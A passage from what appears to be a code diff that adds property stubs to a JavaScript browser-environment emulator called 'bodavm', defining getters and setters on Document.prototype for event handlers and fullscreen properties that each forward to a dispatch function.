onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_get", arguments); + }, + set: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforecut", { + configurable: true, + enumerable: true, + get: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_get", arguments); + }, + set: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforepaste", { + configurable: true, + enumerable: true, + get: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_get", arguments); + }, + set: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfreeze", { + configurable: true, + enumerable: true, + get: function onfreeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_get", arguments); + }, + set: function onfreeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onresume", { + configurable: true, + enumerable: true, + get: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_get", arguments); + }, + set: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsearch", { + configurable: true, + enumerable: true, + get: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_get", arguments); + }, + set: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onvisibilitychange", { + configurable: true, + enumerable: true, + get: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_get", arguments); + }, + set: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreenEnabled", { + configurable: true, + enumerable: true, + get: function fullscreenEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_get", arguments); + }, + set: function fullscreenEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreen", { + configurable: true, + enumerable: true, + get: function fullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_get", arguments); + }, + set: function fullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfullscreenchange", { + configurable: true, + enumerable: true, + get: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_get", arguments); + }, + set: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfullscreenerror", { + configurable: true, + enumerable: true, + get: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_get", arguments); + }, + set: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitIsFullScreen", { + configurable: true, + enumerable: true, + get: function webkitIsFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitIsFullScreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitCurrentFullScreenElement", { + configurable: true, + enumerable: true, + get: function webkitCurrentFullScreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCurrentFullScreenElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenEnabled", { + configurable: true, + enumerable: true, + get: function webkitFullscreenEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenElement", { + configurable: true, + enumerable: true, + get: function webkitFullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenchange", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_get", arguments); + }, + set: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenerror", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_get", arguments); + }, + set: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "rootElement", { + configurable: true, + enumerable: true, + get: function rootElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "rootElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pictureInPictureEnabled", { + configurable: true, + enumerable: true, + get: function pictureInPictureEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pictureInPictureElement", { + configurable: true, + enumerable: true, + get: function pictureInPictureElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_get", arguments); + }, + set: function onselect() { + return 